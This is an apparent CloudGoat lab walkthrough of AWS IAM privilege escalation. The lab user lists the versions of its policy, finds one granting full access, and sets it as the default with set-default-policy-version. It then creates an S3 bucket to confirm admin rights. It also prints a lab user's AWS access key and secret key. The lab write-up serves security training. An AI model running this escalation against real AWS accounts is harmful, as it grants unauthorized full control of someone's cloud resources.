iam_privesc_by_rollback
# Deploy
% ./cloudgoat.py create scenarios/iam_privesc_by_rollback
% cat /home/hnl/Desktop/ctf/cloud-goat/cloudgoat/iam_privesc_by_rollback_cgidki2woqscyc/start.txt
cloudgoat_output_aws_account_id = 287336331436
cloudgoat_output_policy_arn = arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc
cloudgoat_output_raynor_access_key_id = AKIAUFZUUPCWP5AI5R54
cloudgoat_output_raynor_secret_key = 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
cloudgoat_output_username = raynor-iam_privesc_by_rollback_cgidki2woqscyc
# Start
% aws iam get-user --profile raynor
{
"User": {
"Path": "/",
"UserName": "raynor-iam_privesc_by_rollback_cgidki2woqscyc",
"UserId": "AIDAUFZUUPCWOWCUNV2FJ",
"Arn": "arn:aws:iam::287336331436:user/raynor-iam_privesc_by_rollback_cgidki2woqscyc",
"CreateDate": "2021-09-10T05:44:36Z",
"Tags": [
{
"Key": "Name",
"Value": "cg-raynor-iam_privesc_by_rollback_cgidki2woqscyc"
},
{
"Key": "Scenario",
"Value": "iam-privesc-by-rollback"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}
% aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidki2woqscyc --profile raynor
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc",
"PolicyArn": "arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc"
}
]
}
% aws iam list-policy-versions --policy-arn arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc --profile raynor
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2021-09-10T05:44:41Z"
},
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2021-09-10T05:44:41Z"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2021-09-10T05:44:41Z"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2021-09-10T05:44:41Z"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2021-09-10T05:44:36Z"
}
]
}
% aws iam get-policy-version --policy-arn arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc --version-id v1 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAMPrivilegeEscalationByRollback",
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2021-09-10T05:44:36Z"
}
}
% aws iam get-policy-version --policy-arn arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc --version-id v2 --profile raynor
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2021-09-10T05:44:41Z"
}
}
# Change to ver 2
% aws iam set-default-policy-version --policy-arn arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc --version-id v2 --profile raynor
# View again and create s3 bucket with super special priv
% aws iam get-policy --policy-arn arn:aws:iam::287336331436:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidki2woqscyc --profile raynor
% aws s3api create-bucket --bucket myspecialpriv --region us-east-1 --profile raynor
Last updated
Was this helpful?